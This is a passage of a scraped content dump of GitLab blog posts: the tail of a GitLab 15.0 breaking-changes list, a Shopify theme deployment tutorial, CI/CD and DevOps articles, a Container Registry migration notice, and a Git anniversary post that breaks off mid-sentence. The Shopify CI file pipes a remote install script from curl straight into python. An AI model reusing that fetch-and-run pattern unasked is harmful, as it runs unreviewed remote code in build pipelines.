Gitaly, and is removed from GitLab Shell in GitLab 15.0.\n\n- [Issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4208)\n\n### Pseudonymizer\n\nAnnounced in 14.7\n{: .note}\n\nThe Pseudonymizer feature is generally unused, can cause production issues with large databases, and can interfere with object storage development.\nIt was removed in GitLab 15.0.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219952)\n\n### `promote-to-primary-node` command from `gitlab-ctl`\n\nAnnounced in 14.5\n{: .note}\n\nIn GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-to-primary-node` which was only usable for single-node Geo sites. `gitlab-ctl promote-to-primary-node` has been removed in GitLab 15.0.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/345207)\n\n### SUSE Linux Enterprise Server 12 SP2\n\nAnnounced in 14.5\n{: .note}\n\nLong term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12 SP2 [ended on March 31, 2021](https://www.suse.com/lifecycle/). The CA certificates on SP2 include the expired DST root certificate, and it's not getting new CA certificate package updates. We have implemented some [workarounds](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/merge_requests/191), but we will not be able to continue to keep the build running properly.\n\n### Sidekiq configuration for metrics and health checks\n\nAnnounced in 14.7\n{: .note}\n\nIn GitLab 15.0, you can no longer serve Sidekiq metrics and health checks over a single address and port.\n\nTo improve stability, availability, and prevent data loss in edge cases, GitLab now serves\n[Sidekiq metrics and health checks from two separate servers](https://gitlab.com/groups/gitlab-org/-/epics/6409).\n\nWhen you use Omnibus or Helm charts, if GitLab is configured for both servers to bind to the same address,\na configuration error occurs.\nTo prevent this error, choose different ports for the metrics and health check servers:\n\n- [Configure Sidekiq health checks](https://docs.gitlab.com/ee/administration/sidekiq/index.html)\n- [Configure the Sidekiq metrics server](https://docs.gitlab.com/ee/administration/sidekiq/index.html)\n\nIf you installed GitLab from source, verify manually that both servers are configured to bind to separate addresses and ports.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/347509)\n\n### Support for `gitaly['internal_socket_dir']`\n\nAnnounced in 14.10\n{: .note}\n\nGitaly introduced a new directory that holds all runtime data Gitaly requires to operate correctly. This new directory replaces the old internal socket directory, and consequentially the usage of `gitaly['internal_socket_dir']` was deprecated in favor of `gitaly['runtime_dir']`.\n\n- [Issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6758)\n\n### Support for legacy format of `config/database.yml`\n\nAnnounced in 14.3\n{: .note}\n\nThe syntax of [GitLab's database](https://docs.gitlab.com/omnibus/settings/database.html)\nconfiguration located in `database.yml` has changed and the legacy format has been removed.\nThe legacy format supported a single PostgreSQL adapter, whereas the new format supports multiple databases.\nThe `main:` database needs to be defined as a first configuration item.\n\nThis change only impacts users compiling GitLab from source, all the other installation methods handle this configuration automatically.\nInstructions are available [in the source update documentation](https://docs.gitlab.com/ee/update/upgrading_from_source.html#new-configuration-options-for-databaseyml).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338182)\n\n### The `promote-db` command is no longer available from `gitlab-ctl`\n\nAnnounced in 14.5\n{: .note}\n\nIn GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-db` which is used to promote database nodes in multi-node Geo secondary sites. The `gitlab-ctl promote-db` command has been removed in GitLab 15.0.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/345207)\n\n---\n",[736,774,6962],{"slug":14505,"featured":6,"template":678},"gitlab-releases-15-breaking-changes","content:en-us:blog:gitlab-releases-15-breaking-changes.yml","Gitlab Releases 15 Breaking Changes","en-us/blog/gitlab-releases-15-breaking-changes.yml","en-us/blog/gitlab-releases-15-breaking-changes",{"_path":14511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14512,"content":14518,"config":14523,"_id":14525,"_type":16,"title":14526,"_source":17,"_file":14527,"_stem":14528,"_extension":20},"/en-us/blog/deploy-shopify-themes-with-gitlab",{"title":14513,"description":14514,"ogTitle":14513,"ogDescription":14514,"noIndex":6,"ogImage":14515,"ogUrl":14516,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14516,"schema":14517},"How to deploy Shopify themes with GitLab","Streamline your development workflow by configuring auto deployments for Shopify themes with GitLab pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683288/Blog/Hero%20Images/storefront.jpg","https://about.gitlab.com/blog/deploy-shopify-themes-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy Shopify themes with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Austin Regnery\"}],\n        \"datePublished\": \"2022-04-14\",\n      }",{"title":14513,"description":14514,"authors":14519,"heroImage":14515,"date":14520,"body":14521,"category":734,"tags":14522},[10221],"2022-04-14","\n[1.75 million sellers are using Shopify's eCommerce platform](https://backlinko.com/shopify-stores), and every one of these online stores has a codebase that lives somewhere. You may have encountered some challenges while scaling your development efforts at your organization while working within Shopify. Setting up a process for repeatable deployments with GitLab can keep everything streamlined and safe. No one wants something going live in production before it's ready.\n\nHere's a simple development flow you are going to be able to replicate using GitLab CI/CD pipelines for Shopify theme deployments.\n\n1. Develop locally on a feature branch until you are happy with your local changes\n2. Merge your `feature` branch into your `main` branch → This will update the staging theme in Shopify\n3. When everything is ready to go live, create a new tag and push it to GitLab → The live theme will be updated automatically 🎉\n\nThis tutorial assumes you have set up a repository in a GitLab project.\n\n## 1. Add your variables\n\nFor security purposes, you don't want to store your credentials for your Shopify site in your configuration file. You can use variables in GitLab to handle that.\n\nUse the [ThemeKit CLI](https://shopify.github.io/themekit/configuration/) to retrieve all the available theme IDs from your Shopify store by entering this into your command line:\n\n```curl\ntheme get --list -p=[shopify-api-access-token] -s=[your-store.myshopify.com]\n```\n\n> **Help:** [Generate API credentials in Shopify](https://shopify.dev/apps/auth/basic-http#step-2-generate-api-credentials)\n\nOpen your project in GitLab, navigate to `/settings/ci_cd`, and open the variables section.\n\nAdd four unique variables with their corresponding keys and values\n\n| Key | Value |\n| --- | ----- |\n| `STAGING_THEME_ID`     | [staging-theme-id-number]    |\n| `PRODUCTION_THEME_ID`  | [production-theme-id-number] |\n| `SHOP_WEB_ADDRESS`     | [your-store.myshopify.com]   |\n| `SHOPIFY_API_ACCESS_TOKEN` | [shopify-api-access-token]  |\n\n> **Note:** A protected variable will not show in the CI logs, which adds an extra layer of security. If you choose to protect your variables, you need to make sure that your `main` branch and the tag `v*` wildcard are protected as well.\n\n## 2. Add a `config.yml` to your project repository\n\nThis file may already exist, but `config.yml` needs to have the following to properly map the variables from step 1 with your Shopify theme for deployments.\n\n```yml\nstaging:\n  password: ${SHOPIFY_API_ACCESS_TOKEN}\n  theme_id: ${STAGING_THEME_ID}\n  store: ${SHOP_WEB_ADDRESS}\n\nproduction:\n  password: ${SHOPIFY_API_ACCESS_TOKEN}\n  theme_id: ${PRODUCTION_THEME_ID}\n  store: ${SHOP_WEB_ADDRESS}\n```\n\n## 3. Add a `.gitlab-ci.yml` file to your project\n\nNow set up your pipeline to run on specific triggers. Go to your local theme folder, create a `.gitlab-ci.yml` file at the project root, and add the snippet below. This snippet is the configuration for the CI pipeline.\n\n```yml\nimage: python:2\n\nstages:\n  - staging\n  - production\n\nstaging:\n  image: python:2\n  stage: staging\n  script:\n    - curl -s https://shopify.github.io/themekit/scripts/install.py | python\n    - theme deploy -e=staging\n  only:\n    variables:\n      - $CI_DEFAULT_BRANCH == $CI_COMMIT_BRANCH\n\nproduction:\n  image: python:2\n  stage: production\n  script:\n    - curl -s https://shopify.github.io/themekit/scripts/install.py | python\n    - theme deploy -e=production --allow-live\n  only:\n    - tags\n\n```\n\nIt has two stages: **staging** and **production**. Each will install the ThemeKit CLI first and then deploy the repository to the corresponding theme.\n\n## 4. Now push some changes to deploy\n\nAny code pushed to the `main` branch will set up a deployment to the staging theme in Shopify\n\n```\ngit commit -am \"commit message\"\ngit push\n```\n\nWhen you are ready to push changes to production, add a tag and push it.\n\n```\ngit tag -a \"v1.0.0\" -m \"First release to production from GitLab\"\ngit push --tags\n```\n\n> **Alternative option:** [Create a tag from GitLab](https://docs.gitlab.com/ee/user/project/releases/#create-a-release-in-the-tags-page)\n\nThat's it! You're now using CI to automate deployments from GitLab to your Shopify themes.\n\nFurther refine this workflow by [incorporating merge requests approvals](/blog/feature-highlight-merge-request-approvals/), [setting up merge trains](/blog/merge-trains-explained/), or learning more about [GitLab CI/CD pipelines](/blog/guide-to-ci-cd-pipelines/).\n\nBig thanks to Alex Gogl for their [blog](https://medium.com/@gogl.alex/how-to-deploy-shopify-themes-automatically-1ac17ee1229c). This `.gitlab-ci.yml` will appear as an available template when [merge request !52279](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52279) is merged.\n\nCover image by [Artem Gavrysh](https://unsplash.com/@tmwd?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n",[696],{"slug":14524,"featured":6,"template":678},"deploy-shopify-themes-with-gitlab","content:en-us:blog:deploy-shopify-themes-with-gitlab.yml","Deploy Shopify Themes With Gitlab","en-us/blog/deploy-shopify-themes-with-gitlab.yml","en-us/blog/deploy-shopify-themes-with-gitlab",{"_path":14530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14531,"content":14537,"config":14542,"_id":14544,"_type":16,"title":14545,"_source":17,"_file":14546,"_stem":14547,"_extension":20},"/en-us/blog/how-to-learn-ci-cd-fast",{"title":14532,"description":14533,"ogTitle":14532,"ogDescription":14533,"noIndex":6,"ogImage":14534,"ogUrl":14535,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14535,"schema":14536},"How to learn CI/CD fast","Continuous integration and continuous delivery (CI/CD) are critical to faster software releases and it's less complicated than it seems to get rolling. Here's how to start fast with CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668027/Blog/Hero%20Images/cicd.jpg","https://about.gitlab.com/blog/how-to-learn-ci-cd-fast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to learn CI/CD fast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-04-13\",\n      }",{"title":14532,"description":14533,"authors":14538,"heroImage":14534,"date":14539,"body":14540,"category":962,"tags":14541},[12151],"2022-04-13","\nContinuous integration and continuous delivery (CI/CD) have become the keystone technical architecture of successful DevOps implementations. CI/CD has a reputation for being complex and hard to achieve, but that doesn’t have to be the case. Modern tools enable teams to get started with minimal configuration and infrastructure management. Here’s how you can “start fast” with CI/CD and get some quick, demonstrable performance wins for your DevOps team.\n\n## What does CI/CD mean?\n\n[CI/CD](/topics/ci-cd/) refers to a system or systems that enable software development to have continuous integration and continuous delivery capabilities. The architecture underpinning CI/CD is typically referred to as a pipeline, as software progresses through various stages akin to flowing through a pipe. What does [continuous integration and continuous delivery](/blog/basics-of-gitlab-ci-updated/) actually mean? Taking some time to explore the more granular details will help us set some goals for getting a fast start with CI/CD.\n\nStarting on the left side of the pipeline, continuous integration encompasses a variety of automation that occurs over the course of multiple stages, designed to test and provide quick feedback on different aspects of code quality, functionality, and security. CI testing can run the gamut from unit tests and linting run locally on a developer workstation, to full integration testing suites and static analysis. Anyone that's ever seen a small code change cause a significant outage or breakage upon reaching production knows the value of automated, repeatable testing, and the downsides of depending on manual testing.\n\nOnce a code change has passed testing, it's time to deploy. In legacy environments, system administrators and operations staff often had to manually transfer and install updates, and reboot servers to deploy new features. This type of manual work simply does not scale to the demands of the modern application ecosystem, and is error prone to boot. With continuous delivery, that code is automatically deployed to servers in a testable and deterministic way. Code [can be staged in environments](/blog/ci-deployment-and-environments/) with less strict SLAs, such as development, staging, and QA. Once it has been verified, the new features can be launched as production workloads. In some environments, \"continuous delivery\" becomes \"continuous deployment\", in which comprehensive testing automatically deploys new code through to production without human intervention.\n\nWhat's the ultimate goal of all this automation? It's what makes a successful software organization: faster deployment cadence.\n\n## Getting started with CI/CD\n\nWith a little background established, now it's time to focus on the key objective: getting up and running quickly. The primary goal here is to get a quick win with a CI/CD implementation to improve deployment velocity, and hopefully drive a larger effort towards standardizing on widespread and effective CI/CD usage.\n\nGetting started with CI/CD can appear daunting. There is a wealth of tools, services, and platforms available to provide specific functionality and end-to-end solutions for CI/CD. Some options like [Jenkins](https://www.jenkins.io) are self-managed; others, including GitLab, have a holistic CI/CD pipeline with integrated version control. \n\n## Build your pipeline\n\nRealistically, there is no magic bullet configuration for CI/CD. Each implementation will be highly dependent on a number of factors: the type of application being deployed, the size and skillset of the engineering team/s, the business requirements, and the scale of the application itself. The design and implementation considerations for an application that might see 100 users per day is vastly different from one that sees 1 million. The same holds true for CI/CD.\n\nBelow are 5 high-level strategies for tackling that first CI/CD pipeline:\n\n### 1. Start small\n\nDon't try to fix everything at once. Attempts to refactor an entire codebase or infrastructure will be a complex process, typically involving multiple layers of approval, discussion, planning, and possible pushback from dependent teams. It's much easier to choose a small subset of the application infrastructure to improve.\n\n### 2. Catch low-hanging fruit early\n\nSome of the simplest and easiest to detect (and fix) errors can end up causing the biggest problems if they make it into production workloads. However, it might not make sense to add unnecessary steps or complexity to the CI/CD pipeline. In this instance, it’s a good choice to configure some automatic testing to take place on developer machines before code is committed. Most Git DVCS providers, including GitLab, allow users to deploy pre-commit hooks. Pre-commit hooks are typically some type of script or automation that are triggered when specific actions occur. For example, when a developer initiates a new commit, a pre-commit hook might check that the code conforms to syntactical and structural standards, and is free from basic syntax errors. Other pre-commit hooks might ensure that unit tests are run successfully before a commit is allowed to proceed into the larger pipeline.\n\n### 3. Make security a part of CI/CD\n\nTests shouldn't just be limited to syntax and logic. Catching security issues early in the software development lifecycle (SDLC) means they are much easier, cheaper, and safer to fix. Adding some basic [static code analysis tools](/blog/rule-pack-synthesis/) and dependency checkers can vastly improve the security posture of an application by providing fast feedback and early detection of common security problems and potential vulnerabilities.\n\n### 4. Tailor tests to common issues\n\nMost engineering teams that rely on legacy deployment methodologies should be able to easily identify one or two common, recurring issues in deployments. Perhaps copying application code to servers via SCP always results in broken file permissions, or an [NGINX](https://www.nginx.com) frontend is never properly restarted. For the first iteration of [automated testing](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/), choose these specific issues to address with testing. This serves two purposes; it limits the scope of work and gives the team an achievable [\"definition of done,\"](https://www.leadingagile.com/2017/02/definition-of-done/) and it provides a highly visible success story by fixing the most problematic existing deployment problems. Once a working pipeline has been deployed and there is organizational buy-in, the testing suite can be expanded.\n\n### 5. Automate deployment to lower environments\n\nNew CI/CD implementations should [focus on continuous delivery](/blog/cd-solution-overview/), automatically deploying to a staging environment, and providing a manual decision interface for deploying to production. Continuous deployment is generally a step that should be taken further in the DevOps journey when there is more collective knowledge and technical maturity around automated deployments.\n\n## Get a fast start with CI/CD\n\nA good CI/CD implementation can measurably improve software deployment velocity and is a core pillar of a solid DevOps strategy. However, the first attempt at utilizing CI/CD should eschew heavy, complex deployments whenever possible, instead focusing on a \"batteries-included\" approach that provides teams with a short time-to-value cycle.\n\nOnce CI/CD provides that quick win, engineering teams can build on that momentum and buy-in to scale the solution across the entire organization, improving deployment speed and outcomes throughout.\n",[110,4103,2368],{"slug":14543,"featured":6,"template":678},"how-to-learn-ci-cd-fast","content:en-us:blog:how-to-learn-ci-cd-fast.yml","How To Learn Ci Cd Fast","en-us/blog/how-to-learn-ci-cd-fast.yml","en-us/blog/how-to-learn-ci-cd-fast",{"_path":14549,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14550,"content":14555,"config":14560,"_id":14562,"_type":16,"title":14563,"_source":17,"_file":14564,"_stem":14565,"_extension":20},"/en-us/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform",{"title":14551,"description":14552,"ogTitle":14551,"ogDescription":14552,"noIndex":6,"ogImage":13752,"ogUrl":14553,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14553,"schema":14554},"6 ways SMBs can leverage the power of a DevOps platform","Bringing a DevOps platform into a small business can be a game changer. It can also cut down on the hat wearing. Here are the top 6 benefits.","https://about.gitlab.com/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"6 ways SMBs can leverage the power of a DevOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-04-12\",\n      }",{"title":14551,"description":14552,"authors":14556,"heroImage":13752,"date":14557,"body":14558,"category":962,"tags":14559},[3907],"2022-04-12","\nA small or medium-sized business (SMB) or enterprise (SME) is likely working with a small staff but facing a big workload and even bigger expectations. Creating applications that will expand the customer base, keep up with a changing market, and take on competitors with deeper pockets can be daunting.\n\nIt’s possible to ease those burdens by choosing a single, end-to-end DevOps platform. Productivity will skyrocket and so will opportunities to [grow the company](https://page.gitlab.com/resources-ebook-smb-beginners-guide-devops.html).\n\nOf course, DevOps offers significant technical benefits, like testing and building at scale with [continuous integration and continuous delivery](/blog/how-to-keep-up-with-ci-cd-best-practices/), a shorter lead time with automated deployment, and [fewer production failures with earlier error detection](/blog/iteration-on-error-tracking/). But a DevOps platform also offers myriad business benefits to help support and expand a start-up or SMB.\n\nHere are six more ways a DevOps platform can help an SMB:\n\n## Improved customer satisfaction\n\nUsing a DevOps platform means iteration can happen faster. And that’s critical for SMBs that need to be able to quickly make changes to meet customer needs. DevOps also provides a way to [better monitor users’ feedback](/blog/cd-unified-monitor-deploy/) and makes it easier to respond with more speed and agility. And it reduces Change Failure Rates, increasing application reliability and stability.\n\nAll of this means SMBs will be more able to give clients what they want and need, all while creating an engaging customer experience. Closer customer ties create trust and keep users loyal to products. \n\n## Better security\n\nA DevOps platform embeds security to help seamlessly achieve a DevSecOps approach, a cornerstone of [incorporating security scanning early in the software development lifecycle](/blog/efficient-devsecops-nine-tips-shift-left/). By integrating testing and security reviews earlier in the process, and by using end-to-end automation, there are more opportunities to quickly and efficiently address any security issues. This reduces the time between designing new, higher-quality features and rolling them out into production. That's the beauty of a platform approach to DevOps – security isn't an afterthought. It’s part of the entire process.\n\nDevOps not only speeds production but creates more secure applications. And, simply put, more secure software makes for a more trusted product offering… and for happier, more satisfied customers.\n \n## True collaboration and innovation\n\nCollaboration is one of the basic tenets of DevOps. By [fostering communication and innovation](/blog/collaboration-communication-best-practices/), DevOps not only encourages developers and IT to work together, it also supports collaboration throughout the entire company. This is one area where SMBs have a huge advantage: With fewer employees, who also might be less set in their ways, collaboration and innovation are inherently more inclusive in a small business. [An SMB or start-up is never too small for DevOps](/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform/). By inviting discussion and assistance from all team members, DevOps creates a culture built around learning from and relying on others’ expertise; it also brings more ideas to the table. \n\n## Happier employees and better retention\n\nThe greatest resource a company has is its people. This is even more true for small companies where the pain of employee dissatisfaction and departure is felt even more acutely. Managers also don’t want projects waylaid because the people driving them are leaving.\n\nTo stop that from happening, it’s critical the workplace [keeps employees happy](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/). \n\nRetaining a tech team isn’t just about perks, like in-office meditation pods, cereal stations, and foosball tables. Companies also need to give developers the processes and tools they need to be efficient, add automation, and make it easier to find and fix security and compliance issues. A single, end-to-end DevOps platform offers a solution for all of those issues. In our [2021 Global DevSecOps Survey](/developer-survey/), more than 13% of respondents said DevOps makes developers happier or makes their team more attractive to potential new employees. \n\n## Improved decision-making\n\nSmall or medium-sized businesses may lack their larger competitors’ resources, but their agility helps them quickly turn a big idea into action that grows the customer base and profits. A DevOps platform has built-in processes and methods to help sustain an SMB’s agile advantage as it grows, so innovative ideas can scale more quickly and smoothly into products, and ultimately new lines of revenue. Automate more and with higher visibility to make fewer and better decisions.\n\n## Wear all the hats\n\nIt might be a cliche, but it’s also true: SMB employees have to wear all the hats. Code writing, customer service, trouble-shooting, accounts payable… SMB teams are masters at multitasking, but that’s not always the most productive way to be.\n\nA DevOps platform makes it [easier to reduce context-switching](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) and work cross-functionally because everyone is using the same tool. Built-in automation reduces the number of tasks that need to be done manually and aids in collaboration. \n\nAt the end of the day, a complete DevOps platform isn’t a shiny toy, it’s a critical SMB tool. Adopting a platform can make an SMB even more nimble, efficient, and able to scale. DevOps readies an SMB to take on bigger competitors with deeper pockets. And that will enable the business to become what its founders and executives envision.\n",[4103,674,110],{"slug":14561,"featured":6,"template":678},"6-ways-smbs-can-leverage-the-power-of-a-devops-platform","content:en-us:blog:6-ways-smbs-can-leverage-the-power-of-a-devops-platform.yml","6 Ways Smbs Can Leverage The Power Of A Devops Platform","en-us/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform.yml","en-us/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform",{"_path":14567,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14568,"content":14574,"config":14578,"_id":14580,"_type":16,"title":14581,"_source":17,"_file":14582,"_stem":14583,"_extension":20},"/en-us/blog/next-generation-container-registry",{"title":14569,"description":14570,"ogTitle":14569,"ogDescription":14570,"noIndex":6,"ogImage":14571,"ogUrl":14572,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14572,"schema":14573},"Introducing the next generation of the GitLab.com Container Registry","A new version of our Container Registry is coming with improvements we're excited about. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663383/Blog/Hero%20Images/tanuki-bg-full.png","https://about.gitlab.com/blog/next-generation-container-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the next generation of the GitLab.com Container Registry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2022-04-12\",\n      }",{"title":14569,"description":14570,"authors":14575,"heroImage":14571,"date":14557,"body":14576,"category":736,"tags":14577},[1125],"\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\nIn the coming weeks, we will begin the second phase of the rollout of the new version of the Container Registry on GitLab.com. Prior to deploying this update, we wanted to clearly communicate the planned changes, what to expect, and why we are excited.\n\nIf you have any questions or concerns, please don't hesitate to comment in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/5523).\n\n## Context \n\nIn [Milestone 8.8](/releases/2016/05/22/gitlab-8-8-released/), GitLab launched the MVC of the Container Registry. This feature integrated the Docker Distribution registry into GitLab so that any GitLab user could have a space to publish and share container images.\n\nBut there was an inherent limitation with Docker Distribution, as all metadata associated with a given image/tag was stored in the object storage backend. This made using that metadata to build API features (like storage usage visibility, sorting, and filtering) unfeasible. The most recent Container Registry update added a new PostgreSQL backend, which is used to store the metadata. Additionally, this new version also includes an automatic online garbage collector to remove untagged images and recover storage space.\n\nIn November 2021, we started [phase 1](/blog/gitlab-com-container-registry-update/) of the migration. This completed in January 2022 without any significant issues. Since then, every new image repository pushed to GitLab.com uses the new, metadata database-backed registry. Today, nearly 20% of Container Registry traffic is already routed to the new version.\n\nNow we are ready to begin [Phase 2 of the migration](https://gitlab.com/gitlab-org/container-registry/-/issues/374#phase-2-migrate-existing-repositories). This will migrate image repositories created before January 22, 2022, to the new Container Registry. Once complete, we can unblock many of the features that you've been asking for.\n\n## Why we are excited \n\n- [Storage visibility for the Container Registry](https://gitlab.com/groups/gitlab-org/-/epics/7225)\n\n- Performance improvements for list operations when using the GitLab API and UI\n\n- [Redesign of the UI](https://gitlab.com/groups/gitlab-org/-/epics/3211)\n  - [Build and commit metadata for tags built via CI](https://gitlab.com/gitlab-org/gitlab/-/issues/197996)\n  - [Search by tag name](https://gitlab.com/gitlab-org/gitlab/-/issues/255614)\n  \n- [Resolve: Group/project path updates break the Container Registry](https://gitlab.com/gitlab-org/gitlab/-/issues/18383)\n\n## The plan \n\nWe're planning a [phased migration](https://gitlab.com/gitlab-org/container-registry/-/issues/374#phase-2-migrate-existing-repositories), starting with GitLab.org repositories. After that, we'll move on to the Free tier, then on to Premium and Ultimate. We'll roll this out incrementally to maintain safety for customers and provide our team with an opportunity to identify and address any concerns.\n\n## Timing \n\nMigration begins: April 18th, 2022\nMigration ends: July 8th, 2022.\n\nTentative dates by tier:\n\n- GitLab internal projects: April 14 - April 18\n- Free: April 18 - May 18\n- Premium: May 18 to June 18\n- Ultimate: June 18 to July 8\n\nFor more information about the planned, percentage-based rollout, please refer to this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6427).\n\n## What to expect\n\n- For each repository, the migration will only target _tagged_ images. Untagged and unreferenced manifests, and the layers they reference, will be left behind and become inaccessible. Untagged images were never visible through the GitLab UI or API, but they were left behind in the backend after becoming dangling.\n\n- Once migrated to the new registry, repositories will be subject to continuous online garbage collection, deleting any untagged and unreferenced manifests and layers that remain as such for longer than 24 hours.\n\n- To ensure data consistency, the migration of each repository requires the enforcement of a small read-only period at the very end. This period is expected to be less than ten seconds for the vast majority of repositories. During this period, an error message will be returned when trying to upload or delete data, prompting clients to try again. Most clients, will automatically retry several times, which should eventually succeed as the read-only enforcement lifts. We also put a mechanism in place to automatically cancel and reschedule migrations that are taking longer than expected. Nevertheless, if you experience any issues, please comment in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/5523).\n\n## FAQ \n\n- Do I need to do anything?\n  - No, the process is fully automated. But if you have any untagged images that you'd like to preserve, please be sure to tag them as soon as possible.\n\n- Is there anything I can do to help? \n  - Yes! Although no action is necessary, we recommend activating the Container Registry [cleanup policies](https://docs.gitlab.com/ee/user/packages/container_registry/#cleanup-policy) for any relevant projects.\n\n- Is the update required? \n  - Yes. With this change, we can deliver a more modern and scalable product. You don't want to miss out on those features!\n",[4103,676,232],{"slug":14579,"featured":6,"template":678},"next-generation-container-registry","content:en-us:blog:next-generation-container-registry.yml","Next Generation Container Registry","en-us/blog/next-generation-container-registry.yml","en-us/blog/next-generation-container-registry",{"_path":14585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14586,"content":14592,"config":14597,"_id":14599,"_type":16,"title":14600,"_source":17,"_file":14601,"_stem":14602,"_extension":20},"/en-us/blog/celebrating-17-years-of-git",{"title":14587,"description":14588,"ogTitle":14587,"ogDescription":14588,"noIndex":6,"ogImage":14589,"ogUrl":14590,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14590,"schema":14591},"Celebrating 17 years of Git","Here's the history, tips, tricks and even a mea culpa to help celebrate the 17th anniversary of Git.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679424/Blog/Hero%20Images/gitbirthday.jpg","https://about.gitlab.com/blog/celebrating-17-years-of-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating 17 years of Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-04-07\",\n      }",{"title":14587,"description":14588,"authors":14593,"heroImage":14589,"date":14594,"body":14595,"category":8943,"tags":14596},[11618],"2022-04-07","\n\nSeventeen years ago, the Linux community embraced Git as its universal open source version control solution. Created by Linus Torvalds, Git replaced BitKeeper, a proprietary but free-of-charge option that worked, to a point, until it didn’t (and ultimately started costing a fee).\n\nIn the years since, there’s been little to no agreement on what the term “Git” actually means but there’s no disputing its rockstar status in the DevOps world. Tens of millions developers rely on Git’s fast and seamless branching capabilities every single day. In fact, 85% of DevOps professionals who took our [2021 Global DevSecOps Survey](/developer-survey/) said they use Git for source control.\n\nSo, to honor this anniversary, we share our favorite Git tips and tricks and look back at the origins of its name, its 15th anniversary celebration, and even a declaration from one of our own who was certain Git would _never be in his toolkit_. No, really.\n\n## The origin of the name Git\n\nThere’s not much quirky or charming about the world of DevOps, but the theories around the origin of the name Git may be an exception. Torvalds claimed to have named Linux after himself, and he said Git (British slang for “jerk”) was no different. “I’m an egotistical b*stard, and I name all my projects after myself,” he [said at the time](https://git-scm.com/book/en/v2/Getting-Started-A-Short-History-of-Git). \n\nThe source code’s README takes the story in a different direction: Git is easy to pronounce, not used by UNIX, and could sound like “get.” It could be [British shade-throwing](http://www.peevish.co.uk/slang/english-slang/g.htm?qa=150&ss360SearchTerm=git#git), or it could stand for “global information tracker” (the choice of those happily working with a functioning tool). And for those frustrated with Git, there’s also “goddamn idiotic truckload of sh*t.”\n\n## Tips and tricks for better Git\n\nIs it possible to improve on a tool that so many use every single day? Actually, it is, starting with 15 ways [to get a better Git workflow](/blog/15-git-tips-improve-workflow/). Learn how to:\n\n- autocomplete commands\n- use Git blame more efficiently\n- reset files\n- understand the plugins\n\nAlso, Git can help [keep merge requests tidy and humming along](/blog/start-using-git/).\n\nFor an exhaustive look at how GitLab uses Git internally, including .gitconfig on steroids, the lowdown on aliases, and command line tips, we’ve [gathered a life-changing list](/blog/git-tips-and-tricks/). Also, here’s our take on [why (and how) to keep your Git history clean](/blog/keeping-git-commit-history-clean/) and how to do it using [interactive rebase](/blog/keep-git-history-clean-with-interactive-rebase/).\n\n## Remembering the 15th anniversary celebrations\n\nLandmark anniversaries always make people reflect, and Git’s 15th in 2020 was no exception. Not only was there [an actual party – Git Merge 2020](/blog/git-merge-fifteen-year-git-party/), our staff developer evangelist Brendan O’Leary admitted the unthinkable: Back in the day, he was [never ever going to use Git](https://www.computerweekly.com/blog/Open-Source-Insider/GitLab-guru-15-years-later-were-still-learning). Brendan, who obviously has learned his lesson, also 